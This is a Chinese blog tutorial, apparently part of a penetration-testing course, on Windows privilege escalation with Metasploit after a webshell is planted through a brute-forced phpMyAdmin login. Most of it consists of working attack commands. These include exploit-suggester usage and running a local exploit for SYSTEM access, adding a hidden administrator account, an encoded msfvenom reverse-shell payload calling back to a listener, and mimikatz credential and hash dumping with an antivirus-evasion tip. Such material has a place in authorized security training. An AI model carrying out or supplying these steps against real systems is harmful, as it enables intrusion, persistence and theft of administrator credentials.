第三章-5 Metasploit漏洞利用模块二

每日一句:
		坐看骄兵南渡,沸浪骇奔鲸。
									——叶梦得《八声甘州·寿阳楼八公山作》
本文内容:
		一、信息收集
		二、权限提升
		三、获取管理员密码
	
本次目标:
		通过前期的信息收集,然后进行漏洞利用,拿到管理员密码		
		上一节,我们已经通过漏洞拿到服务器的一些低权限用户,因为权限问题,很多操作不能使用
		本篇文章来介绍一下,对漏洞利用的升级版---提权。

一、信息收集

	问:怎么又说信息收集?
	答:
		~因为它足够重要,即使我们拿到webshell也要进行信息收集,这点很重要。
		~当信息足够完善的时候,我们可以进行提权。拿到管理员的明文密码	

二、权限提升

	1,常见提权的方法:
			~使用exp提权补丁进行权限提升,从用户权限到管理员权限:windows提权工具
			~使用MSF后渗透测试脚本提权
			
	场景:爆破出phpmyadmin账户与密码,登陆后,通过开启日志记录,写入到网站一个小马
			~参与phpinfo()测试小马有没有生效
			~连接蚁剑
			~打开虚拟终端你,whami一下,不出意外是低权限用户
			~输入,systeminfo,显示一下服务器详细信息。侧重看一眼补丁程序		
					
					===信息收集为接下来的提权和其他操作做准备
					
					额外小技巧:将服务器信息写入到文本文档中
					示例:systeminfo >> sb.txt

		
	2,快速查找exp提权补丁进行提权:
	
			1,在线辅助网页
					在线比对补丁查找exp: https://bugs.hacking8.com/tiquan/
					===版本号可以通过信息收集得到

			2,提权辅助工具
					https://github.com/GDSSecurity/Windows-Exploit-Suggester
				
				使用步骤:
				
						克隆项目:		
										git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
							
						安装一下依赖库:
										pip3 install xlrd --upgrade
						
									问:Python3 pip 与pip3 区别?
									答:pip 是 Python 包管理工具,该工具提供了对Python 包的查找、下载、安装、卸载的功能。
										这时要看你机子上原来有没有装python2,如果以前有python2,那么pip就是python2的,pip3就是python3的。
										如果只有python3,pip和pip3就是一样的。
						
						进入刚刚克隆的目录下:	cd Windows-Exploit-Suggester
							
						更新一下数据库:		python windows-exploit-suggester.py --update
		
						
						扫描靶机有没有可利用的提权工具:
							./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo sb.txt 
							===固定格式					   读取数据库  ls看目录下具体文件名  固定格式    扫描的文件 
							注意,这个sb.txt需要放到Windows-Exploit-Suggester文件夹下,或者指定sb的绝对路径
						
						结果前面带有,M的msf中可用的提权补丁,E是本地提权补丁。下边跟着的是具体版本对应的下载地址
						
						问:信息收集中,未发现该系统有什么补丁,怎么用?
						答:python windows-exploit-suggester.py --database 2019-09-20-mssb.xls --ostext  ‘Windows 7 ‘
																			需要修改					  需要修改
			
			
			补充一下,github上的一个win系统提取工具地址:https://github.com/SecWiki/windows-kernel-exploits
	
	3,提权具体步骤
		方法一:
		手工提权:
		
				场景:已经上传小马,systeminfo,找到对应提权exe文件,且已经下载
				步骤:
						~将对应提权文件上传至服务器(假设此exe名字为aa.exe)
						~打开蚁剑虚拟终端
						~输入,aa.exe "whoami"		不出意外就是:system
								格式:aa.exe "需要执行的命令"
								注意:此时我们几乎可以执行任意命令
								
								说明:当whoami结果是system的时候,就证明我们已经提权成功了
						
				问:接下来干什么?
				答:创建一个属于自己的用户,将他加入系统管理员组
				步骤:
						~aa.exe "net user x x /add"		===创建用户x,密码为x
						~net user						===可以查看到x用户被创建
						~aa.exe "net localgroup adminstrators x /add"	===将x加入管理员组
		方法二:
		使用MSF进行提权
			
			步骤:
				1,开启MSF
						~service postgresql start 				===开启数据库
						~msfconsole								===开启MSF
				
				2,创建一个基础木马
				
						~打开新的终端运行下边目的
								msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.177.128 lport=1250 -f exe > shell.exe
								
								说明:	-e是指定平台,-i是进行编码 后边的5是5次。这涉及到免杀技术,下一章的内容
				
				3,将生成的木马,用蚁剑进行上传
				
				4,开启MSF的监听模块,接受会话
						
						返回刚刚打开的MSF
						~use exploit/multi/handler						===启用监听模块
						~options										===查看需要配置什么
						~set payload windows/meterpreter/reverse_tcp	===设置payload
						~options										===继续查看配置
								自行配置一些东西如:靶机IP、端口
						~run											===开启监听
						
						~返回蚁剑,终端运行这个shell.exe文件
						
						========================================================
						========说明:此时,监听模块处,应该会出现会话==========
						========================================================
				
						~sessions -l									===查看会话
				
				5,使用信息收集模块-寻找提权脚本补丁
							
						~use post/multi/recon/local_exploit_suggester
						~options										
						~set sessions 1									===设置配置
						~run											
						正常情况下会找到一堆可以利用的
				
				6,使用提权模块
						~use exploit/windows/local/ms15_051_client_copy_image
								//从上边查到的exp随便选择一个
						~options
								自行按照需要配置,如需要配置target
								~show target			===查看有哪些target
								~set  target 1			===选择编号为1的进行配置
						~run
						
						正常情况下,到这我么已经提权到system了

三、获取管理员密码

	简述:通过mimikatz获取管理员密码
	
			场景:通过MSF已经提权到管理员权限,如何获取密码
			步骤:在上边提权的基础上,直接调用mimikatz命令。
			
					meterpreter >mimikatz_command -f version  
											===查看版本信息
					meterpreter >mimikatz_command -f samdump::hashes
											===读取本地hash

			问题:如果电脑没有mimikatz,可以去github上下载
			答案:下载地址:https://github.com/gentilkiwi/mimikatz

			额外一提:
						有时,提权不成功,但是可以通过加载mimikatz来读取hash
						当然了,做么做仅仅可以读取到当前用户的hash
			
				  步骤:
						meterpreter > load mimikatz
							
						这是若是提示:一些东西,看到“Did you mean to 'load kiwi' instead? ”
							
						meterpreter > load kiwi
						
					等加载出画面,就可以使用了。具体命令上边有(查看版本信息,读取本地hash)

			若权限足够,等拿到hash就可以去拿去hash破解
			在线解密: https://www.objectif-securite.ch/ophcrack

			扩展:这个mimikatz有win版本,下载后上传到服务器,(前提是,已经提权)
					通过冰蝎连接,运行下边命令也可以拿到管理员密码的hash值
						打开终端,
								mimikatz.exe log
								mimikatz # privilege::debug
								mimikatz # sekurlsa::logonpasswords
								mimikatz # exit

四、补充说明

		问: Kali中更新msf的命令是啥?
				sudo apt update
				apt install metasploit-framework
				
		问:如何查看MSF的版本?
				msfconsole
				version
		
		问:在使用exp提权补丁的时候要注意什么?
				模拟一个对方的环境出来,进行本地提权测试,不然的话,
				很容易把对方的主机弄成蓝屏或者是宕机的情况,这些情况对方对对方的业务造成影响。

		问:补丁大致可以分为哪两种?
				提权补丁分为:本地提权和MSF模块提权
		
		问:不能确定提权补丁的作用 -该怎么做?
				首先,本地测试,然后去目标站点测试
				随便拿一个提权补丁攻击其他的服务器,会造成对方网站崩溃,服务器蓝屏,都会影响对方业务正常运行
				
		问:如果对面服务器系统存在杀软怎么办?
				利用procdump+Mimikatz 绕过杀软获取Windows明文密码
				https://blog.csdn.net/chinafe/article/details/12196359
				procdump微软的软件,实际上这里用的是白名单
		
		问:msf中创建一个基础的木马去链接是因为什么?
				创建一个基础木马 为了更好的稳定连接
原创文章 61 获赞 13 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/106108373
今日推荐